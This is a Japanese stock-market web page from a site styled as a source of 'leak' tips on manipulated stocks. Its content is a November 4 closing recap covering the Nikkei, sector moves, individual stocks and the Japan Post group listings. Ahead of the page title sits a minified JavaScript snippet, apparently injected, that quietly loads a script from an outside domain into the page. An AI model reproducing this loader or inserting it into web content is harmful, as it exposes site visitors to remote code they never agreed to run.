;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【11/4 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【11/4 大引け】

本日の日経平均株価は243円高と大幅反発。後場寄り直後に本日高値19,151円を付けた後は急速に上げ幅を縮小。本日控えるイエレン議長の議会証言のほか、10月の米雇用統計、国内主要企業の決算発表などを控え上値は重く利益確定売りに押される格好となった。業種別では、鉱業、保険業、石油石炭製品、鉄鋼などが値上がり率上位に。一方、建設業、不動産業、パルプ・紙、電気・ガス業などが値下がり率上位となった。

個別では、中小型株の一角、【8462】フューチャーベンチャーキャピタルに短期資金が集まったか急動意しストップ高まで上昇。また、【3646】駅探。エアバッグの需要シフト期待から【7291】日本プラスト。決算発表から悪材料出尽くしとの見方から【5451】淀川製鋼所なども後場一段高スップ高となった。なお、注目の【6178】日本郵政、【7182】ゆうちょ銀行、【7181】かんぽ生命保険の初値はいずれも公開価格を大きく上回った。後場はゆうちょ銀行はやや伸び悩み終値は初値をやや下回ったが、日本郵政は後場一段高。かんぽ生命はストップ高で取引を終了した。

日経平均は今回も直近上値の抵抗線となっている19,200円突破ならず押し戻される格好に。ただ、郵政グループの好調な出だしで投資家心理が上向いているのも事実。本日はイエレン議会証言のほか、米10月雇用統計の前哨戦のADP全米雇用報告や10月のISM非製造業が発表が予定されている。これの結果次第にもなるが順調な上昇ともなれば、市場全体の年末株高への期待も更に膨らみやすいと思われる。